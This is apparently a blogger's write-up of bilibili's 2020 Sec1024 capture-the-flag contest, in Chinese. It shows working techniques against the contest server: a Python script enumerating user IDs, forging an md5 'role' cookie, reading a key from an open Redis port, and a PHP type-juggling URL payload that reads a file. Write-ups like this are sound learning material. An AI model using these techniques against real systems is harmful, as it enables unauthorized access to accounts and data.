CTF | 2020 bilibili Sec1024 WriteUp


前言

Bilibili 小破站整了个 Sec1024,1024 凌晨看群里有师傅提到就来看了一眼。

结果被卡住了做不下去,于是又看了一下午。。

2020-1024=996

所以大家都加班了唉?

属实恶心人(

随意写个 Write Up 好了。

P.S.:

按道理,比赛未结束不应该发出来的,不过算了8,现在一搜到处都是 flag 了,开心就好。


0x01

页面的背后是什么?

http://45.113.201.36/index.html

1

一看到就以为是改 UA,谁知道其实是第二题的答案2333.

第一题在这里

flag1

其实是调用了 http://45.113.201.36/api/admin 这个接口。

0x02

真正的秘密只有特殊的设备才能看到

改 UA 即可。

http://45.113.201.36/api/ctf/2

flag2

0x03

密码是啥?

http://45.113.201.36/login.html

本来以为是 sql 注入,但试了发现不对劲,怎么都注不进去。盲注的话也没有所需要的返回信息。

最后应该只有弱密码了。

跑了一堆字典都不行,最后突然一想,手输了个 bilibili 出来了。

(摊手,就离谱

flag3

0x04

对不起,权限不足~

http://45.113.201.36/

superadmin.html

4

$.ajax({
    url: "api/ctf/4",
    type: "get",
    success:function (data) {
        console.log(data);
        if (data.code == 200){
            // 如果有值:前端跳转
            $('#flag').html("欢迎超级管理员登陆~答案是 : {{ " + data.data + " }}".toLowerCase() )
        } else {
            // 如果没值
            $('#flag').html("有些秘密只有超级管理员才能看见哦~")
        }
    }
})

发现请求这个 API 会返回一个名为 role 的 cookie,里面内容正好32位,考虑就是 md5 了。

ee11cbb19052e40b07aac0ca060c23ee

解密发现这个是 user

既然说要超级管理员, 那应该就是改这个了。

试了 superadmin, admin, root, administrator, superuser, bilibili, … 都不对。

最后发现是 Administrator。这不是脑筋急转弯嘛???

md5 –> 7b7bc2512ee1fedcd76bdc68926d4f7b

flag4

哦对了,cookie 要带上 session,里面记录了用户登录信息,否则会提示 请先登录

0x05

别人的秘密

http://45.113.201.36/user.html

$(function () {
    (function ($) {
        $.getUrlParam = function(name) {
            var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
            var r = window.location.search.substr(1).match(reg);
            if (r != null) return unescape(r[2]); return null;
        }
    })(jQuery);

    var uid = $.getUrlParam('uid');
    if (uid == null) {
        uid = 100336889;
    }
    $.ajax({
        url: "api/ctf/5?uid=" + uid,
        type: "get",
        success:function (data) {
            console.log(data);
            if (data.code == 200){
                // 如果有值:前端跳转
                $('#flag').html("欢迎超级管理员登陆~flag : " + data.data )
            } else {
                // 如果没值
                $('#flag').html("这里没有你想要的答案~")
            }
        }
    })
});

在所给的 uid 100336889 附近爆破。

import requests
import json
import time

x = 100336889

headers = {
    'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0.1; MuMu Build/V417IR; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Mobile Safari/537.36',
    'Accept-Language': 'en-US,en;q=0.5',
    'Cookie': 'session=xxxxxxxxxxxxxxxxxxx'
}

for uid in range(x-1500, x+1500):
    try:
        print(uid)
        url = f'http://45.113.201.36/api/ctf/5?uid={str(uid)}'

        r = requests.get(url, headers=headers)
        r.encoding = 'utf-8'
        r_json = r.json()
        print(r_json)
        if r_json.get('code') == 200:
            print('!!!!!!!!!!!!')
            print(r_json)
            break
    except Exception as e:
        print(e)
        print(uid)
        time.sleep(1)
        uid = uid-1

最后发现 uid 是 100336917,偏移量就 28…

6d917dff-eb085a50-58b6513f-5c0c3248

或者 Burp Suite 也行。

flag5

0x06

结束亦是开始

http://45.113.201.36/blog/single.php?id=1

是个奇怪的博客页面。

6

上面一行导航栏都 404,感觉上应该是 id 参数的注入?

没搞懂(

0x07

接下来的旅程,需要少年自己去探索啦~

(盲猜就离谱

未知。

0x08

6379 Redis 端口

redis-cli.exe -h 45.113.201.36
45.113.201.36:6379> get flag8
"d436b982-2b81aa54-49a8d2db-87ab951a"

flag8

以及,被搅 shi 了?

喵喵喵?

0x09

未知。

0x0A

路径盲猜(就狂扫呗

http://45.113.201.36/blog/test.php

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一看就是 JSFuck,直接浏览器里执行得到

"var str1 = \"\\u7a0b\\u5e8f\\u5458\\u6700\\u591a\\u7684\\u5730\\u65b9\";
var str2 = \"bilibili1024havefun\";
console.log()"

str1 为 程序员最多的地方 ==> GitHub

GitHub 上 找到了这里(

https://github.com/interesting-1024/end/blob/main/end.php

<?php

//filename end.php

$bilibili = "bilibili1024havefun";

$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);

if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
    $content = file_get_contents($_GET['url']);

    //文件路径猜解
    if (false){
        echo "还差一点点啦~";
    }else{
        echo $flag;
    }
}else{
    echo "你想要的不在这儿~";
}
?>

http://120.92.151.189/blog/end.php

你想要的不在这儿~

构造payload:

http://120.92.151.189/blog/end.php?id[]=1&url=./flag.txt

得到下图,文件名称为

bilibili_224a634752448def6c0ec064e49fe797_havefun.jpg

img

在文件最后藏了 flag10。

flag10

2ebd3b08-47ffc478-b49a5f9d-f6099d65

另外发现这个url只要包含 flag.txt 就返回这个。。

盲猜 /.+flag\.txt.*/


总结

interesting-1024/end 这个仓库的 issue 简直成了聊天室……

另外,有师傅在 https://www.bilibili.com/blackboard/activity-20201024.html 页面上发现了隐藏的彩蛋。

据说多次刷新重启可触发。

彩蛋

怎么说呢,总的感觉,这些题目更像是脑筋急转弯,略偏娱乐化这样吧。

就不像正经的 CTF 题的意思。

至于第6、7、9题,也没做下去的兴趣了。

就这样吧,不玩了,吃瓜吃瓜。

更新于 20201026 凌晨

(溜了喵


文章作者: MiaoTony
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